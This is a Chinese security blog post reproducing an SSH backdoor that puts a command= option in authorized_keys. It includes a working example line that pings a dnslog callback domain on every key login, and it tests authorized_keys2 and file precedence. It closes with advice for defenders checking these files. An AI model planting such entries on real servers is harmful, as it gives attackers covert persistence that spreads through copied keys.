一个有趣的ssh后门 | Linux 后门系列
2023-5-25 23:54:20 Author: NOP Team(查看原文) 阅读量:144 收藏

0x00 简介

今天看见有安全研究员发了一篇 ssh 后门的文章,复现思考后分享给大家

https://blog.thc.org/infecting-ssh-public-keys-with-backdoors

0x01 ssh密钥登录

参考

https://www.commandlinux.com/man-page/man5/authorized_keys.5.html

运维人员管理 Linux 服务器时,对于一些较为固定的管理场景,经常把访问者的ssh公钥直接写入到被访问服务器的 ~/.ssh/authorized_keys 中并进行相应的配置,这样访问者可以使用固定的电脑无需输入密码就可以访问到服务器,在一定程度上安全和便利兼得,但是其实这里有一个不常用的参数非常适合用来做后门——command

通常运维人员通过 ssh-keygen -t rsa 生成公钥文件 ~/.ssh/id_rsa.pub ,格式如下

此时将这些字符拷贝进入服务器的  ~/.ssh/authorized_keys  中,再将 ssh key 登录的相关配置打开,就可以实现免密码登录了

0x02 制作后门

这里以 ping dnslog 为例,实际后门还要考虑不影响用户正常登录,也就是我们的后门要在后台执行,这没啥难的

按照 0x01 章节的参考文章,其实在这段 ssh key 字符串前可以配置一些参数,其中的 command 参数在用户使用该 key 登录的时候自动调用

修改   ~/.ssh/authorized_keys  ,添加恶意命令

command="ping ssh-backdoor.g05vv6.dnslog.cn" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8sgy6ZmmvB5LvcSXx0WyAaDgbJTD+whVTN87iVTbFCIEq81Y0J3MOE+yHPmSEg4Jwv0AfDbPWS5QGfrWMn/NH5chOSqA82o6/M/OumeU2kO0MLP1ModQO/YblmEjQu2VjR03ojYpIu/8lKLq80qZwIbxP3px8/L3FUcksuGcBr95FN8drf0B7+zxyhaDGQvyVsHVBtbirHM0ORQvJ5PzRgSvU+fN9exMh82vibdrLRspN4Gy/s7oJfQh6zWxWZ8Xk4RZQ1MQgMqCZKDBvYToF/c4NP67J12gMcCJnoR3HBANITwrLHytCRcb2En6YfIj4wnCDWPOAapTWQZWJZ8FmzDEFcbjLwvUGccHHoe1SywdHXIGqPSdVjElcE4oBrYa+lH0NJjJG52s+z1hCpF8= [email protected]

无需重启 ssh 服务,直接在公钥所属的主机上使用 ssh 访问该服务器

dnslog 平台成功获取到访问记录

0x03 此后门的意义

这里我觉得文章作者说的很有道理,所以直接翻译过来

  • 有趣

  • 服务器重启后,后门依旧存在

  • 横向传播

    运维人员可能会把这些配置文件到处拷贝,造成后门的横向传播

  • 云部署通常会将管理员的公钥复制到新实例 - 现在它们也会将您的后门复制到内部。


至此,作者的介绍基本结束,作者在 github 上还建立了一个项目,可以在原文中找到,下面的部分是我比较好奇的一些问题以及答案

0x04 我的思考

1. 不止  ~/.ssh/authorized_keys

其实在 https://www.commandlinux.com/man-page/man5/authorized_keys.5.html 写得很清楚, openssh 默认会识别  ~/.ssh/authorized_keys 和  ~/.ssh/authorized_keys2

具体配置在 /etc/ssh/sshd_configAuthorizedKeysFile 参数

可以看到,官方希望未来忽略  ~/.ssh/authorized_keys2

将服务器上的  ~/.ssh/authorized_keys  修改为  ~/.ssh/authorized_keys2 ,并修改 dnslog 地址

使用公钥登录该 ssh 服务器

因此,在对相关文件进行安全排查的时候,不要忘了 ~/.ssh/authorized_keys2

2. 如果两个文件都存在,是否同时有效

如果 ~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2  同时存在,是否都有效呢?

再来一台 Linux 主机,都是用 ssh-copy-id 程序将自己的公钥传到服务器上

默认情况下,两台访问者主机都可以通过 ssh-key 访问服务器

现在将两个 ssh key放在  ~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2  中各一个

再次测试两个访问者主机通过 ssh key 访问服务器

~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2 两个文件可以同时存在,均有效

3. 两个文件放置同一个key 会怎么样

~/.ssh/authorized_keys  放置默认的 ssh key; ~/.ssh/authorized_keys2 放置包含后门的 ssh key

使用 ssh key 登录服务器

并未触发后门

~/.ssh/authorized_keys  放置包含后门的 ssh key; ~/.ssh/authorized_keys2 放置默认的 ssh key

使用 ssh key 登录服务器

成功触发后门,所以如果两个文件放置同一个 ssh key,默认配置会先读取  ~/.ssh/authorized_keys

4. ssh 配置文件后门检查

之前的我写的一篇 ssh config 后门中介绍了 openssh 配置方面的后门,主要针对 ssh 客户端,openssh的客户端和服务器端,尤其是服务器,可配置的项非常多,各种情况都可以配置相应的的程序来处理,其实这些都可以作为后门,但是作为后门的时候必须保证原本该项配置应有的效果,所以做安全检查的时候应该更加全面一些,在后续的应急响应手册中会尽可能全面一些

0x05 往期文章

有态度,不苟同

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&mid=2247492728&idx=1&sn=97e25efdf0a78cb94fa8ada80672f9cd&chksm=fbded0f9cca959efa2441325d623a67ca1ad0b35046812da9bd6a2c5f9a6aa50da2d17853dbc#rd
如有侵权请联系:admin#unsafe.sh